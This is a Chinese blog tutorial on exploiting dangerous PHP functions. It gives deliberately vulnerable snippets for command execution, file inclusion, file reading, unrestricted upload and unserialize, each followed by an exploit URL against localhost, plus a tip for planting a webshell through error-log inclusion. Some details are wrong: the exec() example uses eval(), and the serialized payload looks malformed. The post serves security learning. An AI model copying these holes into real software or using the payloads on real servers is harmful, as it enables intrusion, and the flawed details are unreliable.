Catalog
  1. 1. passthru()
  2. 2. exec()
  3. 3. system()
  4. 4. scandir()
  5. 5. shell_exec()
  6. 6. proc_open()
  7. 7. proc_get_status()
  8. 8. include()
    1. 8.1. 小技巧
  9. 9. file_get_contents()
  10. 10. readfile()
  11. 11. move_uploaded_file()
  12. 12. 反序列化漏洞
    1. 12.1. 小理解
  • ——未完待续——
  • PHP危险函数利用

    对php的一些深度的学习。

    passthru()

    功能描述:允许执行一个外部程序并回显输出,类似于 exec()。

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['x'];
    passthru($id);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?x=whoami

    exec()

    功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
    危险等级:

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['x'];
    eval($id);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?x=phpinfo();

    system()

    功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
    危险等级:高

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['x'];
    system($id);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?x=whoami

    scandir()

    功能描述:列出指定路径中的文件和目录。
    危险等级:中

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $dir = $_GET['x'];

    // 以升序排序 - 默认
    $a = scandir($dir);

    // 以降序排序
    $b = scandir($dir,1);

    print_r($a);
    print_r($b);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?x=sqli

    shell_exec()

    功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
    危险等级:高

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['x'];
    echo shell_exec($id);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?x=whoami

    proc_open()

    功能描述:执行一个命令并打开文件指针用于读取以及写入。
    危险等级:高

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['x'];
    $descs = array(
    0 => array( 'pipe' , 'r' ) , #输入
    1 => array( 'file' , 'output.txt' , 'w' ) , #输出,可以为管道或文件
    2 => array( 'file' , 'errors.txt' , 'w' ) #错误日志,可以为管道或文件
    );

    $res = proc_open( $id , $descs , $pipes );
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?x=whoami

    proc_get_status()

    功能描述:获取使用 proc_open() 所打开进程的信息。
    危险等级:高

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['x'];
    $descs = array(
    0 => array( 'pipe' , 'r' ) , #输入
    1 => array( 'file' , 'output.txt' , 'w' ) , #输出,可以为管道或文件
    2 => array( 'file' , 'errors.txt' , 'w' ) #错误日志,可以为管道或文件
    );

    $res = proc_open( $id , $descs , $pipes );
    //读取proc_open执行的进程信息,放入数组中
    $a= proc_get_status($res);
    //将数组迭代输出
    var_dump($a);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?x=whoami

    include()

    功能描述:在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。
    危险等级:高

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $file = $_GET['name'];
    include($file);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?name=D:\phpstudy\PHPTutorial\MySQL\my.ini

    小技巧

    如果解析器开启了错误日志,可以用nc.exe请求解析器,写入一句话,然后再讲错误日志包含执行,实现一句话木马效果。

    远程包含:

    需要打开allow_url_include=Onallow_url_fopen = On

    http://127.0.0.1/test.php?name=http://127.0.0.1/1.txt?

    file_get_contents()

    功能描述:把整个文件读入一个字符串中。
    危险等级:高

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['X'];
    echo file_get_contents($id);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?X=./1.txt

    readfile()

    功能描述:读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false

    危险等级:高

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html> 
    <html>
    <body>

    <?php
    $id = $_GET['X'];
    echo readfile($id);
    ?>

    </body>
    </html>

    利用方式:

    http://127.0.0.1/test.php?X=./1.txt

    move_uploaded_file()

    功能描述:把上传的文件移动到新位置。

    危险等级:高

    示例代码:

    upload.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <!DOCTYPE html> 
    <html>
    <head lang="en">
    <meta charset="UTF-8">
    <title>上传文件</title>
    </head>
    <body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file"/>
    <input type="submit" value="提交">
    </form>
    </body>
    </html>

    upload.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <!DOCTYPE html> 
    <html>
    <head>
    <meta charset="UTF-8">
    <title>显示文件</title>
    </head>
    <body>
    <?php

    //print_r($_FILES);

    //获取到临时文件
    $file=$_FILES['file'];
    //获取文件名
    $fileName=$file['name'];
    //移动文件到当前目录
    move_uploaded_file($file['tmp_name'],$fileName);

    //显示文件
    echo "<img src='$fileName'>";
    ?>
    </body>
    </html>

    利用方式:

    反序列化漏洞

    功能描述:PHP反序列化漏洞,在我们使用unserialize()进行反序列化的时候,如果反序列化对象中存在一些我们可以利用的魔法函数且传入的变量可控,那么这个过程就可能触发这个魔法函数,来执行我们想要的过程。

    危险等级:高

    小理解

    PHP的序列化是把想要传输的内容序列化传输,然后接收后再反序列化得到传输的内容,漏洞产生的原因是在传输的过程中序列化后的内容可修改,在传输过程中被修改后,再被接收反序列,然后使用了危险函数执行了传输的内容。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php

    class foo1{
    public $varr;
    public $obj;
    function __destruct(){
    $this->varr->evaltest();
    echo $varr;
    }
    }

    class foo2{
    public $str;
    function evaltest(){
    eval($this->str);
    }
    }
    $obj = new foo1();
    unserialize($_GET['id']);
    ?>

    利用方式:

    http://127.0.0.1/test.php?id=O:4:%22foo1%22:1:{s:4:%22varr%22;O:4:%22foo2%22:1:{s:3:%22str%22;s:10:%22phpinfo();%22:}}

    ——未完待续——

    Author: 九指
    Link: /2019/07/10/PHP%E5%8D%B1%E9%99%A9%E5%87%BD%E6%95%B0%E5%88%A9%E7%94%A8/
    Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
    Donate
    • 微信
    • 支付寶